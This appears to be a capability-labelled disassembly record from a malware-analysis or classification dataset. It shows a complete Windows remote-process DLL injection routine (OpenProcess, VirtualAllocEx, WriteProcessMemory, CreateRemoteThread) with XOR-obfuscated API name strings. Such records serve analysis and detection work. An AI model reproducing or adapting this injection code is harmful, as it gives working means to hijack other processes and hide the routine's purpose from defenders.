Function at 0x140002790
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x180
mov rax, qword [0x140023040]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rax, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
xor r9d, r9d
mov rcx, rax
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x140002be8
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002be8
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x1a8], rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor edx, edx
mov dword [rsp + 0x20], 0x40
inc eax
mov r9d, 0x3000
movsxd r8, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140002be4
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x20], 0
inc eax
mov rdx, rdi
movsxd r9, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002be4
mov eax, dword [0x14001d5c8]
xor r8d, r8d
movsd xmm0, qword [str._PDY_U_t_t]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x14001d5cc]
mov qword [rsp + 0x1a0], rsi
mov esi, dword [0x140023088]
mov byte [rsp + 0x4c], al
movsd qword [rsp + 0x40], xmm0
cmp esi, 2
jl 0x14000299b
movdqa xmm2, xmmword [0x14001d6a0]
mov r8d, 8
movdqa xmm3, xmmword [0x14001d6b0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x14001d750]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001d6c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str._PDY_U_t_t]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14001d720]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x40], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001d6c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x44]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001d720]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
xorps xmm2, xmm0
movd dword [rsp + 0x44], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400029b0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140002bb9
mov ecx, dword [0x14001ce38]
movsd xmm0, qword [str.xZWStPXI_OG_]
mov dword [rsp + 0x58], ecx
movzx ecx, byte [0x14001ce3c]
mov byte [rsp + 0x5c], cl
xor ecx, ecx
movsd qword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x140002b37
movdqa xmm2, xmmword [0x14001d6a0]
mov ecx, 8
movdqa xmm3, xmmword [0x14001d6b0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x14001d750]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001d6c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14001d720]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.xZWStPXI_OG_]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x50], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001d6c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001d720]
movd xmm1, dword [rsp + 0x54]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0xd
jl 0x140002b50
lea rdx, [rsp + 0x50]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002bb9
mov qword [rsp + 0x30], 0
mov r9, rax
mov dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, qword [rsp + 0x1a0]
mov al, 1
mov rdi, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140018770
add rsp, 0x180
pop rbx
ret
mov al, 1
jmp 0x140002bc3
mov al, 1
jmp 0x140002bcb